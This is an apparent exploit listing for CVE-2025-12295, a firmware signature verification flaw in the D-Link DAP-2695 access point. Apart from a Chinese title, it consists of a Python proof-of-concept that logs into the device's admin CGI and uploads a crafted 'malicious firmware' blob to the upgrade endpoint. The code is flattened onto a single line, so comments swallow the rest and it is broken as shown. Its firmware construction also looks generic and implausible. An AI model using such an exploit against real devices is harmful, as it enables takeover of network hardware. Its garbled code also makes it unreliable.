D-Link DAP-2695 固件更新签名验证不当漏洞 (CVE-2025-12295)

#!/usr/bin/env python3 # CVE-2025-12295 PoC - D-Link DAP-2695 Firmware Signature Verification Bypass # This PoC demonstrates the signature verification bypass in Firmware Update Handler import struct import hashlib import requests import sys def create_malicious_firmware(): """ Create malicious firmware payload """ # Firmware header structure header = b'DLK' # D-Link signature version = b'2.00RC13' # Malicious payload malicious_code = b'\x90' * 100 + b'\xcc' * 50 # NOP sled + INT3 # Build firmware package firmware = header + version + malicious_code # Calculate checksums md5_hash = hashlib.md5(firmware).hexdigest() sha256_hash = hashlib.sha256(firmware).hexdigest() return firmware, md5_hash, sha256_hash def exploit_dlink_dap2695(target_ip, admin_user, admin_pass): """ Exploit the firmware update signature verification bypass Args: target_ip: Target D-Link DAP-2695 IP address admin_user: Administrator username admin_pass: Administrator password """ base_url = f"http://{target_ip}" # Create malicious firmware firmware, md5_hash, sha256_hash = create_malicious_firmware() print(f"[*] Target: {target_ip}") print(f"[*] Creating malicious firmware...") print(f"[*] MD5: {md5_hash}") print(f"[*] SHA256: {sha256_hash}") # Step 1: Authenticate with admin credentials session = requests.Session() login_data = { 'username': admin_user, 'password': admin_pass } print("[*] Authenticating...") login_url = f"{base_url}/cgi-bin/login.cgi" response = session.post(login_url, data=login_data) if response.status_code != 200: print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Upload malicious firmware print("[*] Uploading malicious firmware...") upload_url = f"{base_url}/cgi-bin/firmware_upgrade.cgi" files = { 'firmware': ('malicious_fw.bin', firmware, 'application/octet-stream') } response = session.post(upload_url, files=files, timeout=60) if response.status_code == 200 and 'success' in response.text.lower(): print("[+] Firmware uploaded successfully") print("[+] Malicious firmware deployed - signature verification bypassed") return True else: print("[-] Firmware upload failed or signature check triggered") return False def main(): if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target_ip> <admin_user> <admin_pass>") sys.exit(1) target_ip = sys.argv[1] admin_user = sys.argv[2] admin_pass = sys.argv[3] exploit_dlink_dap2695(target_ip, admin_user, admin_pass) if __name__ == '__main__': main() # Note: This PoC requires valid administrator credentials (PR:H requirement) # The vulnerability allows bypassing signature verification in firmware update process